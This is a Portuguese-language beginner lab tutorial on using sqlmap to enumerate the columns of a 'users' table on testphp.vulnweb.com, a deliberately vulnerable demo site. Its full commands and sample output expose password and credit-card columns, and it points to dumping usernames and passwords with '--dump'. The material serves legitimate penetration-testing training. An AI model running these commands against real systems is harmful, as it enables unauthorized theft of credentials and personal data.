Enumerar Colunas de uma Tabela Específica com sqlmap

Beginner
Pratique Agora

Introdução

Neste laboratório, você aprenderá a usar o sqlmap para enumerar nomes de colunas e seus tipos de dados de uma tabela específica dentro de um banco de dados. O sqlmap é uma ferramenta de teste de penetração de código aberto que automatiza o processo de detecção e exploração de falhas de injeção de SQL e a tomada de controle de servidores de banco de dados. Compreender como enumerar colunas é um passo crucial na exploração de bancos de dados, pois permite direcionar e extrair informações sensíveis com precisão. Focaremos no uso da flag -T para especificar a tabela alvo e da flag --columns para listar suas colunas.

Selecionar um Banco de Dados e Tabela Alvo para Enumeração

Nesta etapa, identificaremos um banco de dados alvo hipotético e uma tabela específica dentro dele da qual queremos enumerar colunas. Para fins deste laboratório, assumiremos que já identificamos uma URL vulnerável e um banco de dados chamado testdb contendo uma tabela chamada users.

Primeiro, vamos garantir que o sqlmap esteja disponível em seu sistema. Se não estiver, você pode instalá-lo usando apt.

sudo apt update
sudo apt install -y sqlmap

Agora, vamos simular um alvo vulnerável. Usaremos uma URL fictícia para fins de demonstração. Em um cenário do mundo real, esta seria uma URL suscetível a injeção de SQL.

Para este laboratório, usaremos a seguinte URL de placeholder: http://testphp.vulnweb.com/listproducts.php?cat=1. Este é um alvo vulnerável conhecido, frequentemente usado para testes. Assumiremos que já identificamos um banco de dados chamado acuart e uma tabela chamada users dentro dele. Nosso objetivo é enumerar colunas da tabela users.

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs

Você deverá ver uma lista de bancos de dados, incluindo acuart. Isso confirma que nosso alvo é acessível e que o sqlmap pode interagir com ele.

...
[INFO] fetched data for all databases
available databases [2]:
[*] acuart
[*] information_schema
...

Em seguida, vamos confirmar as tabelas no banco de dados acuart.

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart --tables

Você deverá ver uma lista de tabelas, incluindo users.

...
[INFO] fetched data for all tables in database 'acuart'
Database: acuart
[10 tables]
+------------+
| artists    |
| carts      |
| categories |
| guestbook  |
| pictures   |
| products   |
| users      |
| ...        |
+------------+
...

Isso confirma que o banco de dados acuart e a tabela users existem em nosso alvo.

Usar a Flag -T para Especificar a Tabela

Nesta etapa, aprenderemos a usar a flag -T no sqlmap para especificar a tabela alvo da qual queremos enumerar colunas. A flag -T é usada em conjunto com a flag -D (para banco de dados) para refinar o escopo de nossa enumeração.

A sintaxe básica para especificar uma tabela é: sqlmap -u <url_alvo> -D <nome_do_banco_de_dados> -T <nome_da_tabela> [outras_opções]

Continuando da etapa anterior, identificamos o banco de dados acuart e a tabela users. Agora, prepararemos o comando sqlmap para direcionar esta tabela específica. Ainda não executaremos a enumeração completa, mas sim construiremos o comando.

Abra seu terminal no diretório ~/project.

echo 'sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users' > command_part1.txt
cat command_part1.txt

Este comando salva a parte inicial do nosso comando sqlmap em um arquivo chamado command_part1.txt e, em seguida, exibe seu conteúdo. Isso ajuda na construção de comandos complexos passo a passo.

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users

Ao usar -D acuart -T users, estamos dizendo ao sqlmap para focar suas operações especificamente na tabela users dentro do banco de dados acuart. Isso é crucial para uma enumeração eficiente e direcionada.

Usar a Flag --columns para Listar Colunas

Nesta etapa, introduziremos a flag --columns, que é usada para instruir o sqlmap a enumerar os nomes das colunas e seus tipos de dados dentro da tabela especificada. Esta flag é essencial para entender a estrutura da tabela e identificar colunas potencialmente interessantes para extração de dados.

A flag --columns é anexada ao comando que começamos a construir na etapa anterior.

A sintaxe completa será: sqlmap -u <url_alvo> -D <nome_do_banco_de_dados> -T <nome_da_tabela> --columns

Vamos adicionar a flag --columns ao nosso comando.

echo ' --columns' >> command_part1.txt
cat command_part1.txt

Agora, o arquivo command_part1.txt deverá conter o comando sqlmap completo para enumerar colunas da tabela users.

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users --columns

A flag --columns diz ao sqlmap para realizar um tipo específico de enumeração: listar todas as colunas disponíveis na tabela alvo. Este é um recurso poderoso que ajuda a mapear o esquema do banco de dados.

Executar o Comando para Enumerar Colunas

Nesta etapa, executaremos o comando completo do sqlmap que construímos nas etapas anteriores. Este comando instruirá o sqlmap a se conectar à URL alvo, identificar o banco de dados acuart, direcionar a tabela users e, em seguida, enumerar todas as colunas dentro dessa tabela.

Certifique-se de que você está no diretório ~/project.

bash command_part1.txt

Após a execução, o sqlmap iniciará seu processo. Ele pode fazer algumas perguntas durante o processo, como se deve usar um payload específico ou continuar com as opções padrão. Para este laboratório, você geralmente pode pressionar Enter para aceitar as escolhas padrão ou y para sim, se solicitado.

...
[INFO] fetched data for all columns in table 'users' in database 'acuart'
Database: acuart
Table: users
[7 columns]
+----------+-----------+
| Column   | Type      |
+----------+-----------+
| email    | varchar(50) |
| uname    | varchar(20) |
| pass     | varchar(20) |
| cc       | varchar(20) |
| address  | varchar(50) |
| name     | varchar(50) |
| phone    | varchar(20) |
+----------+-----------+
...

A saída exibirá uma tabela listando os nomes das colunas e seus tipos de dados correspondentes encontrados na tabela users. Este é o objetivo principal deste laboratório.

Revisar os Nomes das Colunas e seus Tipos de Dados

Nesta etapa final, revisaremos a saída do comando sqlmap executado na etapa anterior. Compreender os nomes das colunas enumeradas e seus tipos de dados é crucial para exploração ou análise posteriores.

Observe a saída do comando anterior. Você deverá ver uma tabela semelhante a esta:

Database: acuart
Table: users
[7 columns]
+----------+-----------+
| Column   | Type      |
+----------+-----------+
| email    | varchar(50) |
| uname    | varchar(20) |
| pass     | varchar(20) |
| cc       | varchar(20) |
| address  | varchar(50) |
| name     | varchar(50) |
| phone    | varchar(20) |
+----------+-----------+

A partir desta saída, podemos identificar várias colunas importantes:

  • email: Provavelmente armazena endereços de e-mail dos usuários.
  • uname: Provavelmente armazena nomes de usuário.
  • pass: Provavelmente armazena senhas de usuário (ou hashes de senha).
  • cc: Potencialmente armazena informações de cartão de crédito.
  • address: Armazena endereços de usuários.
  • name: Armazena nomes completos de usuários.
  • phone: Armazena números de telefone de usuários.

A coluna Type indica o tipo de dado de cada coluna (por exemplo, varchar(50) significa uma string de comprimento variável de até 50 caracteres). Esta informação é vital para a criação de comandos sqlmap subsequentes, como a extração de dados de colunas específicas usando a flag -C. Por exemplo, para extrair nomes de usuário e senhas, você usaria -C uname,pass --dump.

Esta etapa conclui o processo de enumeração de colunas de uma tabela específica usando sqlmap. Agora você tem uma compreensão clara de como direcionar tabelas específicas e recuperar suas estruturas de colunas.

Resumo

Neste laboratório, você aprendeu com sucesso a enumerar colunas de uma tabela específica usando sqlmap. Você começou identificando um banco de dados e tabela alvo, depois construiu progressivamente o comando sqlmap usando as flags -D (database), -T (table) e --columns. Finalmente, você executou o comando e revisou a saída, compreendendo a importância dos nomes das colunas enumeradas e seus tipos de dados. Esta habilidade é fundamental para qualquer pessoa que realize testes de penetração em bancos de dados ou avaliações de segurança, pois fornece as informações necessárias para extrair dados sensíveis de forma eficaz.